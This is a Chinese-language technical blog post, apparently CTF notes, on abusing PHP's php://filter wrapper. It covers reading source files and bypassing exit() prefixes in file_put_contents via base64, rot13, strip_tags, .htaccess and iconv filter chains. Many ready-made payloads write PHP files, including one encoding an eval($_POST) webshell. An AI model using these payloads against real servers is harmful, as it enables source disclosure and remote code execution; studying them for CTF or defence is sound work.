2077 字
10 分钟

php

2025-12-07
浏览量 加载中...

介绍#

对于php://filter伪协议,只知道是可以读取文件

php://filter/read=convert.base64-encode/resource=flag.php

没想到他的作用怎么大 php://filter参数

名字描述
resource=<要过滤的数据流>这个参数是必须的。它指定了你要筛选过滤的数据流
read=<读链的筛选列表>该参数可选。可以设定一个或多个过滤器名称,以管道符(`
write=<写链的筛选列表>该参数可选。可以设定一个或多个过滤器名称,以管道符(`
<;两个链的筛选列表>任何没有以 read= 或 write=作前缀 的筛选器列表会视情况应用于读或写链

php://filter#

常规#

<?php
$file1 = $_GET['file1'];
$file2 = $_GET['file2'];
$txt = $_GET['txt'];
// 读取文件
echo file_get_contents($file1);
// 写文件
file_put_contents($file2,$txt);
?>

读文件#

file1=php://filter/resource=flag.txt
file1=php://filter/read=convert.base64-encode/resource=flag.txt

700

编码读取

700

写文件#

file2=php://filter/resource=f2.txt&txt=hellowrold
file2=php://filter/write=convert.base64-encode/resource=f1.txt&txt=hellowrold

400
700

死亡绕过exit():#

在使用file_put_contents()函数进行文件写入的时候,经常会遇到通过exit()函数来避免命令执行的方法。一般管这玩意儿叫做死亡函数。 而一般有三种形式

file_put_contents($filename , "<?php exit();".$content);
file_put_contents($content,"<?php exit();".$content);
file_put_contents($filename,$content."\nzangShuju");

第一种情况exit#

file_put_contents($filename , "<?php exit();".$content);

base64编码绕过#

Base64编码是使用64个可打印ASCII字符 a-z,0-9,A-Z,+,=,/ 将任意字节序列数据编码成ASCII字符串,其中=用于填充字符串。 在base64解密过程是按4个字符一起解码,并且对于不在base64字符集中的字符,会直接跳过这些字符,仅将合法字符组成一个新的字符串进行解码。 也就是说此时的<?php exit();,在base64中会被认为是 phpexit 这7个字符,而上面说到解密是按4个字符一起,所以此时只要再添加一个字符,就会凑成8个字符,然后就会被base64解密成乱码。保存到文件中 实例

<?php
$a = $_GET['a'];
$b = $_GET['b'];
file_put_contents($b,"<?php exit();?>".$a);
?>

700
700
可以看到,正常的话,前面有上exit()函数,就会停止执行。 此时我们将 <?php phpinfo?> base64编码,然后在前面添加一个字符 再传入

http://localhost/?b=php://filter/write=convert.base64-decode/resource=test.php&a=aPD9waHAgcGhwaW5mbygpOyA/Pg==

800
800
可以看见exit()被污染了。可以正常执行php文件。
800

rot13解码绕过:#

原理和base64是相同的,之所以使用这个解码方式,是因为在php://filter中自带的加密解密方法就是base64和rot13。 简单来说,这个就是一个凯撒密码,将所有的字母向后位移13位就行。 同时,也和base64一样,会将不在字符集内(a-z,A-Z)的符号进行忽略。

filename=php://filter/string.rot13/resource=shell.php&content=<?cuc cucvasb();?>

<?cuc cucvasb();?>phpinfo()的加密

800
800
执行结果
800
不过这种利用手法的前提是PHP不开启short_open_tag

string.strip_tags绕过#

string.strip_tags过滤器从字符串在去除php和html标记,相当于用strip_tags()函数去处理字符串。它使用与函数fgetss()一样的机制去除标记。 并且在php://filter中,可以搭配多种过滤器一起使用,中间用 | 连接,可以搭配convert.base64来写入。 首先将我们想要写入的内容进行base64加密,然后再嵌套使用string.strip_tags和convert.base64-decode,先去除PHP标记,然后再进行base64解密,就可以实现写入了。

payload:

?filename=php://filter/string.strip_tags|convert.base64-decode/resource=shell.php&content=PD9waHAgcGhwaW5mbygpOyA/Pg==

800
800
写入成功,再执行文件
800

.htaccess的预包含处理#

在php.ini中存在两个配置选项:

auto_prepend_file 在页面顶部加载文件
auto_append_file 在页面底部加载文件

配置方式例如:

auto_prepend_file = "/home/fdipzone/header.php"
auto_append_file = "/home/fdipzone/footer.php"

这两个配饰选项,可以在页面不做任何改变的情况下,在页面顶部或者底部包含文件。 例如修改php-ini里面的auto_prepend_file="/flag",那么在所有页面的顶部都会包含flag这个文件 不过在做题的过程中一般也无法修改php.ini,所以我们可以在需要加载文件的地方加入.htacess文件,内容如下:

php_value auto_prepend_file "/flag.php"
php_value auto_append_file "/flag.php"

因此只要能够对.htaccess文件进行修改,就能够使用任何文件对flag文件进行包含了。

可以搭配string.strip_tags过滤器,再闭合前面的php标签。 payload:

?filename=php://filter/write=string.strip_tags/resource=.htaccess&content=
?>php_value auto_prepend_file "/flag"

exit()绕过进阶:bypass相同变量#

实例代码:

<?php
$content = $_GET['content'];
file_put_contents($content,'<?php exit();'.$content);

此时可以看到,他的文件名和写入的内容是同一个变量。看起来难度就比较大,不过依然有些办法能绕过。

base64编码绕过#

如果此时我们将base64编码作为文件名来进行的话,看起来好像可以。

?content=php://filter/write=convert.base64-decode/resource=PD9waHAgcGhwaW5mbygpOz8+.php

800
可以发现,虽然文件创建了,但是是一个空文件。那么这是为什么呢

这是因为当base64解密的时候,如果遇到=号意味着结束,就是说=号后面不允许有任何字符。而<?php exit();?php://filter/write=convert.base64-decode/resource=PD9waHAgcGhwaW5mbygpOz8+.php这个payload上有一个resource=,这就会让base64-decode报错。 所以关键就是要绕过这个等号。刚好前面的string.strip_tags 会去除php和html标记。所以就可以这样构造。 payload:

?content=php://filter/string.strip_tags|convert.base64-decode/resource=?>PD9waHAgcGhwaW5mbygpOz8+.php

这里因为文件名有问题,所以可以把PD9waHAgcGhwaW5mbygpOz8+当成目录,然后再../跳回当前目录。并且+号会被当成空格处理,所以进行url编码成%2b 而且要在前面加上 ?> 闭合php标签,不然后我们写入的shell也会被string.strip_tags去除。 所以最终payload:

content=php://filter/string.strip_tags|convert.base64-decode/resource=?>PD9waHAgcGhwaW5mbygpOz8+/../shell.php

网上看好几个师傅是这样,但是我这会失败,看另一个师傅的payload是这样的

php://filter/string.strip_tags|convert.base64-decode|%3C/resource=%3EaaPD9waHAgcGhwaW5mbygpOz8+/../123.php

这里写入的原理,是因为在伪协议写入的文件流中,使用了string.strip_tags过滤器,当我们直接将文件内容写入后,进行读取的时候,就会将文件中的php标签,或是XML的标签去掉。而在这个payload中,对resource和等号部分做了处理,写成了<resource=>,这里会被理解为是XML的标签,因此会将resource=直接去除,这样就不会因为等号造成影响。

800
800
不过这种利用手法如果是windows下就利用不成功,因为文件名里面?>等这些特殊字符会导致文件创建失败。不过可以使用convert.iconv.utf-8.utf-7|convert.base64-decode进行绕过。 这里写一个payload,我上面成功就是用的这个。

php://filter/write=convert.iconv.utf-8.utf-7|convert.base64-decode|%3C/resource=%3EaaPD9waHAgcGhwaW5mbygpOz8%2b/../123.php

rot13绕过#

rot13编码只是一个替换字符的凯撒密码,因此不受限等于号。可以和之前的绕过方式一样,直接执行就可以了。 payload:

?content=php://filter/string.rot13|<?cuc cucvasb();?>|/resource=123/../123.php
?content=php://filter/write=string.rot13/resource=<?cuc cucvasb();?>/../shell.php

800

iconv字符编码绕过#

这个转化器起到的效果和base64有点相似,都是先编码再解码,然后在过程中去掉死亡代码 在PHP中,iconv函数库主要用于完成各种字符集之间的转换,在该函数库下面存在一个convert.iconv.的过滤器,这个过滤器需要php支持iconv,而iconv是默认编译的。使用convert.iconv.*过滤器等同于使用iconv()函数处理所有的流数据。

(也就是直接对我们使用filter进行传入的所有流数据进行处理。) 不过USC存在两种编码格式:

UCS-2和UCS-4
UCS-2就是用两个字节编码
UCS-4就是用四个字节编码

UCS-2#

使用格式:

iconv ( string $in_charset , string $out_charset , string $str ) : string
// 参照
echo iconv("UCS-2LE","UCS-2BE",'<?php phpinfo();?>');

通过UCS-2方式,对目标字符串进行2位一反转(这里的2LE和2BE可以看作是小端和大端的列子),也就是说构造的恶意代码需要是UCS-2中2的倍数,不然不能进行正常反转(多余不满足的字符串会被截断),那我们就可以利用这种过滤器进行编码转换绕过了 UCS-2格式payload:

?content=php://filter/convert.iconv.UCS-2LE.UCS-2BE|?<hp phpipfn(o;)>?/resource=shell.php

写入内容

800

USC-2#

通过UCS-4方式,对目标字符串进行4位一反转(这里的4LE和4BE可以看作是小端和大端的列子),也就是说构造的恶意代码需要是UCS-4中4的倍数,不然不能进行正常反转(多余不满足的字符串会被截断),那我们就可以利用这种过滤器进行编码转换绕过了.

<?php
?>');
// 28位

payload:

?content=php://filter/convert.iconv.UCS-4LE.UCS-4BE|hp?<e@ p(lavOP_$1[TS]432>?;)/resource=shell.php

写入内容

800

utf8-utf7字符编码绕过#

在UTF-8,UTF-7的作用下convert.iconv 这个过滤器可以把等号转化成+AD0-,这样的话,就可以避免因为resource=的原因导致base64解码失败。

800
payload:

?content=php://filter/convert.iconv.UTF-8.UTF-7|convert.base64-decode|aaPD9waHAgcGhwaW5mbygpOyA/Pg==/resource=123.php
?content=php://filter/write=PD9waHAgcGhwaW5mbygpOz8+|convert.iconv.utf-8.utf-7|convert.base64-decode/resource=webshell.php

写入的文件

800

赞助支持

如果这篇文章对你有帮助,欢迎赞助支持!

赞助
php
https://github.com/emn178/markdown
作者
dnw
发布于
2025-12-07
许可协议
Unlicensed
最后更新于 2025-12-07

评论区

目录